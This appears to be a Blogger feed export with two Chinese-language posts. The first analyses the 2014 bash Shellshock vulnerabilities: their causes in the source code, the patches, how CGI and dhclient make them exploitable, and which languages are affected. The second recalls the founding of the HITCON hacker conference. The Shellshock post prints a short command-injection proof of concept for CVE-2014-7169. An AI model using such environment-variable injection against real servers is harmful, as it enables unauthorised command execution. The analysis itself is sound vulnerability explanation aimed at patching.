<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:blogger='http://schemas.google.com/blogger/2008' xmlns:georss='http://www.georss.org/georss' xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-9219253365790587780</id><updated>2025-04-11T07:51:32.515+08:00</updated><category term="feeling"/><category term="linux"/><category term="Security"/><category term="book"/><category term="defcon"/><category term="wargame"/><category term="掛馬"/><category term="ddos"/><category term="dns"/><category term="kernel"/><title type='text'>員外 Security</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://timhsu.chroot.org/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9219253365790587780/posts/default?redirect=false'/><link rel='alternate' type='text/html' href='http://timhsu.chroot.org/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/9219253365790587780/posts/default?start-index=26&amp;max-results=25&amp;redirect=false'/><author><name>timhsu</name><uri>http://www.blogger.com/profile/01485661055273606967</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>46</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-9219253365790587780.post-1495294992933611662</id><published>2014-10-02T14:53:00.001+08:00</published><updated>2014-10-02T15:02:47.837+08:00</updated><title type='text'>BASH ShellShock 漏洞分析 </title><content type='html'>&lt;br /&gt;
這回的 bash 漏洞很有趣，定義一個 script 函式竟然能夠被自動觸發執行。CVE-2014-6271 漏洞揭露後，經過數日，許多人不斷地在找尋可利用此漏洞的方法，試圖可以進行遠端入侵或本地提權等，也有不少人瘋狂找尋 bash 或其它 shell 的類似問題，當然各資安相關媒體或廠商也不斷 &quot;提醒&quot; 大家要盡快升級 bash，彷彿有了 bash 就會被入侵一般。&lt;br /&gt;
&lt;br /&gt;
目前&amp;nbsp;&lt;a href=&quot;http://en.wikipedia.org/wiki/Shellshock_(software_bug)&quot;&gt;shellshock wiki&lt;/a&gt;&amp;nbsp;描述及收集了詳細的資訊，這篇 &lt;a href=&quot;http://coolshell.cn/articles/11973.html&quot;&gt;BASH 代碼注入的安全漏洞&lt;/a&gt; 也針對漏洞作了詳細說明，以及 &lt;a href=&quot;http://devco.re/&quot;&gt;DevCore&lt;/a&gt; 的 Shaolin 寫的&lt;a href=&quot;http://devco.re/blog/2014/09/30/shellshock-CVE-2014-6271/&quot;&gt;這篇&lt;/a&gt;。所以我打算針對漏洞成因，以及漏洞利用環境作探討。&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;
&lt;b&gt;漏洞原因&lt;/b&gt;&lt;/h3&gt;
&lt;br /&gt;
在 bash 的原始碼 variables.c 中可以看到 bash 在初始化環境變數時，會掃瞄環境變數中是否有函式定義，其函式定義的 keywords 為 &quot;() {&quot;，見第 11 行。若有函式定義的字串，應該僅轉換為函式內容，不應該執行該函式，見第 21 行。&lt;br /&gt;
&lt;br /&gt;
&lt;script src=&quot;http://pastebin.com/embed_js.php?i=XGbsZ8ec&quot;&gt;&lt;/script&gt;

&lt;br /&gt;
Patch 的方式可見&amp;nbsp;&lt;a href=&quot;http://ftp.gnu.org/pub/gnu/bash/bash-3.2-patches/bash32-052&quot;&gt;patch&lt;/a&gt;&amp;nbsp;，主要是導入兩個參數定義&lt;br /&gt;
&lt;pre style=&quot;white-space: pre-wrap; word-wrap: break-word;&quot;&gt;+ #define SEVAL_FUNCDEF 0x080  /* only allow function definitions */
+ #define SEVAL_ONECMD 0x100  /* only allow a single command */&lt;/pre&gt;
&lt;pre style=&quot;white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;/pre&gt;
&lt;pre style=&quot;white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;/pre&gt;
&lt;br /&gt;
然後在原來呼叫 parse_and_execute() 的地方改用&lt;br /&gt;
&lt;span style=&quot;white-space: pre-wrap;&quot;&gt;parse_and_execute (temp_string, name, SEVAL_NONINT|SEVAL_NOHIST|SEVAL_FUNCDEF|SEVAL_ONECMD);&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
並且在&amp;nbsp;&lt;span style=&quot;white-space: pre-wrap;&quot;&gt;parse_and_execute() 裡再去檢查是否有 &lt;/span&gt;&lt;span style=&quot;white-space: pre-wrap;&quot;&gt;SEVAL_FUNCDEF|SEVAL_ONECMD。&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;white-space: pre-wrap;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;white-space: pre-wrap;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;h3&gt;
&lt;b&gt;
遠端執行指令碼&lt;/b&gt;&lt;/h3&gt;
&lt;br /&gt;
&lt;br /&gt;
想要利用這個 bash 漏洞，就要非常了解 Linux 的環境變數繼承關係。事實上，在 Unix 系統中以環境變數來傳遞參數或資料是很平常的事，因為環境變數是 key=value 格式，又具有行程間繼承的作用。&lt;br /&gt;
&lt;br /&gt;
因此，要找到可利用的情況，首先要找尋一個網路服務程式，此程式會將網路上接收的資料或請求(Request)轉換為環境變數，若是網路服務程式再透過 execle()/execvpe()/execve() 或是 system()/popen() 來執行其它程式時，因為上述函式會繼承環境變數的關係，才有成功利用的機會。&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
以 httpd 為例，其實 httpd 並不會接收遠端傳來的環境變數，而是 httpd 在 &lt;a href=&quot;http://httpd.apache.org/docs/2.2/mod/mod_rewrite.html&quot;&gt;mod_rewrite &lt;/a&gt;模組執行時將 HTTP Request 中的欄位轉換填入對應的環境變數中，再經由 &lt;a href=&quot;http://httpd.apache.org/docs/2.2/mod/mod_cgi.html&quot;&gt;mod_cgi&lt;/a&gt; 模組執行 CGI 程式。所以 CGI 程式可以透過環境變數的方式取得 HTTP Request 所需要的內容。&lt;br /&gt;
例如，將 HTTP Request 中的 User-Agent 欄位的內容，轉換為環境變數為 HTTP_USER_AGENT 的內容，以便任何語言開發的 CGI 程式可以透過環境變數&amp;nbsp;HTTP_USER_AGENT&amp;nbsp;取得 &amp;nbsp;User-Agent 欄位內容。&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCOdasGF7oFUuYBZU9J-I_V2LSzTSSFBeEyo5ijVDumNQrXVSkxNQpUraIYL1ZcB1VYnM5gX5MCdfeZ07pk_Jphhs9MtDNVVPhCfPhdekVIheSmSCZFykirORqRVMQNU74pF5EWBU2rAI/s1600/c_poc.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCOdasGF7oFUuYBZU9J-I_V2LSzTSSFBeEyo5ijVDumNQrXVSkxNQpUraIYL1ZcB1VYnM5gX5MCdfeZ07pk_Jphhs9MtDNVVPhCfPhdekVIheSmSCZFykirORqRVMQNU74pF5EWBU2rAI/s1600/c_poc.png&quot; height=&quot;291&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;C 語言 CGI 範例&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;script src=&quot;http://pastebin.com/embed_js.php?i=tBtx4GfW&quot;&gt;&lt;/script&gt;&lt;br /&gt;
&lt;div&gt;
&lt;/div&gt;
&lt;div&gt;
在此 C 語言的範例中，即便 system() 中執行的命令是固定，不可被 Command Injection，但透過 CVE-2014-6271，則可以執行任意命令，因為 system() 是透過 /bin/sh -c 來執行 /bin/hostname。&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
事實上，不只 C 語言開發的 CGI，任何語言開發的 CGI 程式透過 httpd mod_cgi 執行，都可能會被利用此漏洞。不過若是直接用 bash script 開發的 CGI 程式，則不需要再透過呼叫 system()，直接就可以利用此漏洞。&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjF_bkBoX7CXyY8Yo5r9tdryK4nSD2vv8vyXP_UiyjqB_MzgoN-bDT6a_MRlV_i0fZFv-6bm33lIMcPLpDeyGs6AcPd6-FtxQ4ZtSj7quNaAqgm9_UkXOiXybeSfG6Yr5I6Iimd2_71-gI/s1600/bash_poc.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjF_bkBoX7CXyY8Yo5r9tdryK4nSD2vv8vyXP_UiyjqB_MzgoN-bDT6a_MRlV_i0fZFv-6bm33lIMcPLpDeyGs6AcPd6-FtxQ4ZtSj7quNaAqgm9_UkXOiXybeSfG6Yr5I6Iimd2_71-gI/s1600/bash_poc.png&quot; height=&quot;266&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;bash script 語言 CGI 範例&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;br /&gt;
經過測試 mod_cgi 搭配各語言，發現 perl 和 ruby 在某些情況下無法利用此漏洞。原因是，&lt;br /&gt;
perl 和 ruby 在進行 system()/popen() 之類的呼叫時，會先經過最佳化，判斷是否只是執行外部程式而非真的 script 命令，只有是 script 命令才會透過 /bin/sh -c 來執行，否則會直接執行(execve)該外部程式。&lt;br /&gt;
例如 perl 語言中:&lt;br /&gt;
&lt;br /&gt;
system (&quot;/bin/env &amp;gt; /dev/null&quot;);&lt;br /&gt;
system(&quot;/bin/uname -a&quot;);&lt;br /&gt;
&lt;br /&gt;
第一行的命令字串中因為有 &amp;gt; 重新導向輸出的符號，因此會透過 /bin/sh -c 來執行該命令，但是第二行的命令字串中，僅是直接執行 /bin/uname，因此並不會透過 /bin/sh -c 來執行該命令，也就不會造成漏洞利用。&lt;br /&gt;
&lt;br /&gt;
下列是我在 CentOS 6.4 + Apache 2.2.15 測試了各語言版本 CGI 程式，搭配不同的環境，所測試的結果:&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKODYL8yxmB79vHX_tv4uYbdn5ZNcNoP7a_HL7IDkVRmb8SdJRj67_jF7iH7lZMC9zrOrlktMWJMDybd36JI2HfLTvM2hCnRuIwNIEOBBfaMeY0hsD9RG52LG19UMm7Qtwc0V2SBCUwF0/s1600/lang_mod.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKODYL8yxmB79vHX_tv4uYbdn5ZNcNoP7a_HL7IDkVRmb8SdJRj67_jF7iH7lZMC9zrOrlktMWJMDybd36JI2HfLTvM2hCnRuIwNIEOBBfaMeY0hsD9RG52LG19UMm7Qtwc0V2SBCUwF0/s1600/lang_mod.png&quot; height=&quot;180&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;V: 可直接利用或透過 system()/popen() 利用&lt;br /&gt;
O: 在未最佳化執行的 system()/popen() 情況下可利用&lt;br /&gt;
X: 不可被利用&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div&gt;
我建議 Linux 伺服器管理者優先將 Linux 伺服器作 bash 升級，並且將網站環境作分析，評估不再使用 mod_cgi 或 mod_fastcgi。另外也請將 Linux 作安全性強化，可參考 Kenduest Lee (小州)的 &lt;a href=&quot;https://docs.google.com/file/d/0B1rfFnHqmPRLRnhDUGFBT1Q2bnM/edit?pli=1&quot;&gt;Security Enhanced Linux&lt;/a&gt;。&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;a href=&quot;https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/&quot;&gt;另外一個例子&lt;/a&gt;是透過 DHCP 發送含執行代碼的封包，讓 Linux 的 dhclient 被利用此漏洞來入侵。從&amp;nbsp;&lt;a href=&quot;http://www.isc.org/downloads/dhcp/&quot;&gt;Internet Systems Consortium DHCP Distribution &lt;/a&gt;Version 4.2.4 的原始碼來看，的確是 dhclient.c 會從 DHCP 封包中將參數值透過內建的 client_envadd() 轉換成環境變數，再經由 execve() 執行了 dhclient-script (bash script)，所以當然也就中獎了。&lt;br /&gt;
&lt;br /&gt;
下列兩道指令可用來檢測系統上的 dhclient 是否會被此漏洞影響，當然 patch bash 才是王道。&lt;br /&gt;
&lt;br /&gt;
$ /sbin/dhclient - 2&amp;gt;&amp;amp;1 | grep &quot;ISC&quot;&lt;br /&gt;
This version of ISC DHCP is based on the release available&lt;br /&gt;
&lt;div&gt;
$ which dhclient-script&lt;/div&gt;
&lt;div&gt;
/sbin/dhclient-script&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;h3&gt;
&lt;b&gt;另一個漏洞 CVE-2014-7169&lt;/b&gt;&lt;/h3&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;background-color: #9fc5e8; font-family: monospace, Courier; font-size: 14px; line-height: 22.3999996185303px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;background-color: #9fc5e8; font-family: monospace, Courier; font-size: 14px; line-height: 22.3999996185303px;&quot;&gt;env X=&#39;() { (a)=&amp;gt;\&#39; sh -c &quot;echo date&quot;; cat echo&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
這行環境變數的設定，會使得原來應該是 echo date，顯示 &quot;date&quot; 字串，變成執行 &quot;date&quot; 指令。從 bash 原始碼中可發現，在 shell_getc (y.tab.c) 讀取輸入字串遇到錯誤時會呼叫 reset_parser() (y.tab.c)，然而控制字元讀取位置的 global 變數 int eol_ungetc_lookahead 卻沒有重置歸 0，修補方式請看 &lt;a href=&quot;https://gist.github.com/drj11/239e04c686f0886253fa&quot;&gt;patch&lt;/a&gt;。&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
所以&amp;nbsp;&lt;span style=&quot;background-color: #9fc5e8;&quot;&gt;&lt;span style=&quot;font-family: monospace, Courier; font-size: 14px; line-height: 22.3999996185303px;&quot;&gt;() { (a)=&amp;gt;\&lt;/span&gt;&lt;span style=&quot;font-family: monospace, Courier; font-size: 14px; line-height: 22.3999996185303px;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: monospace, Courier; line-height: 22.3999996185303px;&quot;&gt;是用 = 字元故意製造錯誤，字元讀取位置因為沒被重設，還留在 &amp;gt; 字元，因此在讀取 &quot;echo date&quot; 後原本要執行 &quot;echo&quot; 變成了讀取 &quot;&amp;gt;echo date&quot;，執行後結果變成執行 &quot;date&quot; 命令，將結果輸出至 &quot;echo&quot; 檔案中。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: monospace, Courier; font-size: 14px; line-height: 22.3999996185303px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: monospace, Courier; line-height: 22.3999996185303px;&quot;&gt;這個漏洞要利用的條件限制更多，而且不像 CVE-2014-6271 可以指定任何命令執行，而只能讓原本要執行的命令作改變，有點類似當年 Unix IFS 的問題。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;h3&gt;
&lt;b&gt;結論&lt;/b&gt;&lt;/h3&gt;
&lt;/div&gt;
目前此漏洞仍然在發酵中，有些人找尋了特定 CGI 網站程式進行攻擊，也有人試圖找尋其它的相關漏洞，也許這漏洞真的有機會得到今年的 &lt;a href=&quot;http://en.wikipedia.org/wiki/Pwnie_Awards&quot;&gt;Pwnie Award&lt;/a&gt; 呢。&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[References]&lt;br /&gt;
1. &lt;a href=&quot;https://access.redhat.com/articles/1200223&quot;&gt;https://access.redhat.com/articles/1200223&lt;/a&gt;&lt;br /&gt;
2. &lt;a href=&quot;https://securityblog.redhat.com/2014/09/26/frequently-asked-questions-about-the-shellshock-bash-flaws/&quot;&gt;https://securityblog.redhat.com/2014/09/26/frequently-asked-questions-about-the-shellshock-bash-flaws/&lt;/a&gt;&lt;br /&gt;
3. &lt;a href=&quot;http://ftp.gnu.org/pub/gnu/bash/bash-3.2-patches/bash32-052&quot;&gt;http://ftp.gnu.org/pub/gnu/bash/bash-3.2-patches/bash32-052&lt;/a&gt;&lt;br /&gt;
4. &lt;a href=&quot;http://www.cnblogs.com/LittleHann/p/3992778.html&quot;&gt;http://www.cnblogs.com/LittleHann/p/3992778.html&lt;/a&gt;&lt;br /&gt;
5. &lt;a href=&quot;http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-shellshock.pdf&quot;&gt;http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-shellshock.pdf&lt;/a&gt;&lt;br /&gt;
6. &lt;a href=&quot;http://jaxbot.me/articles/cases-where-bash-shellshock-is-safe-09-25-2014&quot;&gt;http://jaxbot.me/articles/cases-where-bash-shellshock-is-safe-09-25-2014&lt;/a&gt;&lt;br /&gt;
7. &lt;a href=&quot;http://security.stackexchange.com/questions/68448/where-is-bash-shellshock-vulnerability-in-source-code&quot;&gt;http://security.stackexchange.com/questions/68448/where-is-bash-shellshock-vulnerability-in-source-code&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;</content><link rel='replies' type='application/atom+xml' href='http://timhsu.chroot.org/feeds/1495294992933611662/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/9219253365790587780/1495294992933611662' title='1 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9219253365790587780/posts/default/1495294992933611662'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9219253365790587780/posts/default/1495294992933611662'/><link rel='alternate' type='text/html' href='http://timhsu.chroot.org/2014/10/bash-shellshock.html' title='BASH ShellShock 漏洞分析 '/><author><name>timhsu</name><uri>http://www.blogger.com/profile/01485661055273606967</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCOdasGF7oFUuYBZU9J-I_V2LSzTSSFBeEyo5ijVDumNQrXVSkxNQpUraIYL1ZcB1VYnM5gX5MCdfeZ07pk_Jphhs9MtDNVVPhCfPhdekVIheSmSCZFykirORqRVMQNU74pF5EWBU2rAI/s72-c/c_poc.png" height="72" width="72"/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9219253365790587780.post-5272774328442480192</id><published>2014-06-08T22:23:00.001+08:00</published><updated>2014-06-08T22:27:04.142+08:00</updated><title type='text'>十年</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;box-sizing: border-box; font-family: &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 15px; line-height: 25px; margin-bottom: 10px;&quot;&gt;
近日陰雨綿綿，潮溼略帶悶熱，轉進人潮擁擠的捷運站內，赫然見到一位身穿黑色&lt;hanla style=&quot;box-sizing: border-box; display: inline; position: static;&quot;&gt;&lt;/hanla&gt;T&lt;hanla style=&quot;box-sizing: border-box; display: inline; position: static;&quot;&gt;&lt;/hanla&gt;恤的男孩從身邊匆匆走過，看著衣服上的小灰帽，思緒不禁帶到那個充滿熱情的夏天。&lt;/div&gt;
&lt;div style=&quot;box-sizing: border-box; font-family: &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 15px; line-height: 25px; margin-bottom: 10px;&quot;&gt;
&lt;/div&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;box-sizing: border-box; font-family: &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 15px; line-height: 25px; margin-bottom: 10px;&quot;&gt;
一個年輕小夥子，站在坐滿百人的教室內，正在淊淊不絕地講述如何透過駭客技巧，免費觀賞熱情視訊&lt;hanla style=&quot;box-sizing: border-box; display: inline; position: static;&quot;&gt;&lt;/hanla&gt;(WebCam Girls)，這一場壓軸讓全場充滿歡笑，代表第一次舉辦台灣駭客年會的成功，也開啟了台灣駭客們的夢。&lt;/div&gt;
&lt;div style=&quot;box-sizing: border-box; font-family: &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 15px; line-height: 25px; margin-bottom: 10px;&quot;&gt;
&lt;/div&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;box-sizing: border-box; font-family: &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 15px; line-height: 25px; margin-bottom: 10px;&quot;&gt;
2004 年六月，&lt;a href=&quot;http://www.chroot.org/&quot;&gt;CHROOT&lt;/a&gt; 資安社群成立，匯集了當時台灣地下駭客組織成員、資深的資安專家和白帽駭客，並且決定參考美國拉斯維加斯的駭客年會&lt;hanla style=&quot;box-sizing: border-box; display: inline; position: static;&quot;&gt;&lt;/hanla&gt;&lt;a href=&quot;http://defcon.org/&quot;&gt;(DEFCON&lt;/a&gt;) 在台灣舉辦一場屬於自己的駭客年會，定名為 &lt;a href=&quot;http://www.hitcon.org/&quot;&gt;Hacks In Taiwan&lt;/a&gt; (HIT)，這個名稱的由來其中一個原因係紀念已解散的著名駭客組織&lt;hanla style=&quot;box-sizing: border-box; display: inline; position: static;&quot;&gt;&lt;/hanla&gt;(Hackers In Taiwan)，另一方面強調對於駭客技術的熱情不只在資安領域，而是汎指各項技術上的 Hacking。中文名稱取作「台灣駭客年會」更是挑戰當時對於「駭客」名詞的負面看法，希望對「駭客」一詞有正面概念的傳達。&lt;/div&gt;
&lt;div style=&quot;box-sizing: border-box; font-family: &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 15px; line-height: 25px; margin-bottom: 10px;&quot;&gt;
&lt;/div&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;box-sizing: border-box; font-family: &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 15px; line-height: 25px; margin-bottom: 10px;&quot;&gt;
對於一群只熟悉網路技術的宅男們來說，辦一個研討會是大夥從沒有過的挑戰，不知道要探討什麼主題；不知道有沒有講師，不知道要有預算概念；不知道會議流程如何進行；不知道有沒有贊助商；不知道會有多少人報名參加。因此，CHROOT 決定花一年的時間準備，每個月固定聚會討論會議主題，分享研究成果，訓練演講技巧，觀摩其它研討會，找尋各方資源，選定在七月中旬於文化大學大新館舉辦，希望帶給參加者一個不同於商業性質，充滿駭客技術分享，充滿熱情有趣，具有表現自我機會的研討會，這些後來也成為每一屆的重要精神。&lt;/div&gt;
&lt;div style=&quot;box-sizing: border-box; font-family: &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 15px; line-height: 25px; margin-bottom: 10px;&quot;&gt;
&lt;/div&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;box-sizing: border-box; font-family: &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 15px; line-height: 25px; margin-bottom: 10px;&quot;&gt;
還記得，我們定了一個當時不算低的票價，而且還得先匯款才能完成報名，網站只有少數資訊且還放了一頁奇怪文字訊息，官方郵件服務還不穩定，偶爾會有退信情況發生。有趣的是，當時我向文化大學訂場地時，擔心用「駭客年會」名義會被校方拒絕，所以我用「資安社群研討會」，導致許多報名者想向文化大學求證時，都被回覆「文化大學並無駭客年會相關活動舉辦」。&lt;/div&gt;
&lt;div style=&quot;box-sizing: border-box; font-family: &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 15px; line-height: 25px; margin-bottom: 10px;&quot;&gt;
&lt;/div&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;box-sizing: border-box; font-family: &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 15px; line-height: 25px; margin-bottom: 10px;&quot;&gt;
第二屆舉辦時，我們就發現文化大學數位演講廳的兩百個位子已不夠，因此第三至第五屆移到台灣科技大學國際演講廳，同時，在更多的贊助商及各路先進協助下，參與人數近四百人，成長兩倍有餘。到了 2010 年，終於有了能滿足空間、設備及費用的場地 - 中研院人文社會科學館，直到 2013 年，HITCON 現場參與人數突破 850 人，報名開放僅三分鐘內門票即售磬，創記錄的讓 30 位國內外資安專家發表演講，這還真是台灣少見的大規模資訊技術研討會。&lt;/div&gt;
&lt;div style=&quot;box-sizing: border-box; font-family: &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 15px; line-height: 25px; margin-bottom: 10px;&quot;&gt;
&lt;/div&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;box-sizing: border-box; font-family: &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 15px; line-height: 25px; margin-bottom: 10px;&quot;&gt;
要舉辦大型的研討會，其實都靠優秀的工作人員齊心合力完成。前幾屆都是由 CHROOT 成員的女友、老婆或兄弟姊妹們，充當工作人員，他們的辛勞付出與經驗傳承，也讓 HITCON 在往後招募志工上，更為容易。不管是親朋好友找來幫忙，或是自願加入協助活動舉辦，都是每年 HITCON 能成功的背後重要因素，值得我們心存感激。&lt;/div&gt;
&lt;div style=&quot;box-sizing: border-box; font-family: &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 15px; line-height: 25px; margin-bottom: 10px;&quot;&gt;
&lt;/div&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;box-sizing: border-box; font-family: &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 15px; line-height: 25px; margin-bottom: 10px;&quot;&gt;
說實在的，一年舉辦一次研討會，其實已經讓 HITCON 籌辦團隊忙到焦頭爛耳，但又時時覺得希望多一點活動，讓台灣更多人重視資安，提起學生們對 Security 的興趣，進而發揮更大的影響力。為了讓重大資安事件被各界重視，我們開始辦 HITCON Freetalk，以小規模活動方式邀請各政府單位及企業參與，第一時間將完整訊息揭露，協助加速應變及處理，例如去年三月韓國發生的嚴重資安攻擊，今年 OpenSSL HeartBleed 嚴重漏洞。此外，這幾年我們見到每年在 HITCON 舉行的 Wargame 競賽逐漸受到重視，除了政府舉辦的資安金盾獎，今年四月初賽門鐵克第一次在台灣舉辦駭客攻防競賽，五月初，HITCON Wargame 組長 Alan，組團帶領台大 217 學生團隊，前往南京參加百度 BCTF 競賽獲取冠軍，憑著這股勢氣和不放棄的精神，在上週末的 DEFCON CTF 資格賽搶下寶貴名額，準備在八月以 HITCON CTF 團隊名義，代表台灣出賽，和全球頂尖駭客爭奪世界冠軍。&lt;/div&gt;
&lt;div style=&quot;box-sizing: border-box; font-family: &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 15px; line-height: 25px; margin-bottom: 10px;&quot;&gt;
&lt;/div&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;box-sizing: border-box; font-family: &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 15px; line-height: 25px; margin-bottom: 10px;&quot;&gt;
透過 HITCON ，我們逐漸實現多年前的夢想，確切來說，我們透過 HITCON 的力量協助台灣年輕的駭客們逐夢，也是實現我們的夢，而他們對 HITCON 的熱情和支持，也是我們在舉辦 HITCON 精疲力精後的一股強心針。&lt;/div&gt;
